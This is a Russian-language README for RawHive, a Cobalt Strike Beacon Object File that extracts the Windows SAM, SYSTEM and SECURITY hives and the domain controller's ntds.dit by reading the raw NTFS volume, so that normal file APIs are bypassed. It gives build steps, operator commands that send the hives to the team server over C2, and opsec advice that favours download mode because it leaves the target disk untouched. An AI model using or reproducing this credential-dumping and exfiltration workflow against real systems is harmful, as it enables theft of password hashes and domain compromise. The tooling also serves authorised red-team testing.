RawHive

RawHive — это BOF для Cobalt Strike, предназначенный для извлечения выбранных кустов реестра Windows напрямую с сырого тома NTFS. Он обходит обычные файловые API, проходит по метаданным NTFS для поиска записей целевых файлов и читает байты непосредственно с диска.

Цели:

• C:\Windows\System32\config\SAM
• C:\Windows\System32\config\SYSTEM
• C:\Windows\System32\config\SECURITY
• C:\Windows\NTDS\ntds.dit (только контроллеры домена)

Подходит любая буква локального диска NTFS; по умолчанию — C:.

Как это работает

1. Открывает том (например, \\.\C:) и читает загрузочный сектор для определения местоположения $MFT.
2. Проходит по индексным записям каталогов для Windows, System32, config и целевых файлов, с ограниченным сканированием MFT в качестве запасного варианта.
3. Читает данные файлов из резидентных атрибутов или списков кластеров (runlists).
4. Передаёт байты через C2 (режим загрузки) или записывает их на диск (режим записи на диск).

Требования

• 64-битный Beacon, работающий от имени локального администратора или SYSTEM.
• x86_64-w64-mingw32-gcc и make для сборки.

Сборка

make

Собирает dist/rawhive.x64.o. rawhive.cna загружает объект из dist/, поэтому после изменения rawhive.c требуется пересборка.

Использование

Режим загрузки используется по умолчанию: кусты читаются напрямую с сырого тома и отправляются на team server через BeaconDownload API. Диск цели не затрагивается.

rawhive                    # download C: hives to team server
rawhive D                  # download D: hives to team server

Режим записи на диск сохраняет файлы .tmp в каталог на цели. Учтите, что это затрагивает диск и может быть небезопасно с точки зрения opsec; предпочитайте режим загрузки, если вам специально не нужно разместить файлы локально.

rawhive C:\Windows\Temp           # write C: hives to disk
rawhive C:\Windows\Temp D         # write D: hives to C:\Windows\Temp

Том можно указывать как C, c или C:. Выходной каталог должен уже существовать.

Вывод

Файлы именуются как <host>_<timestamp>_<hive>.tmp:

<host>_<timestamp>_sam.tmp
<host>_<timestamp>_system.tmp
<host>_<timestamp>_security.tmp
<host>_<timestamp>_ntds.tmp       # DCs only

В режиме загрузки они появляются в лотке загрузок Cobalt Strike; в режиме записи на диск они попадают в указанный выходной каталог.

Примечания

• Запасное сканирование MFT ограничено 500 000 записей.
• Списки кластеров (runlists) ограничены 128 экстентами; слишком фрагментированный файл вызывает ошибку вместо того, чтобы сообщить о частичном файле как о полном.
• Повреждённые или неподдерживаемые структуры NTFS отклоняются вместо продолжения работы с небезопасными смещениями.

Доказательство концепции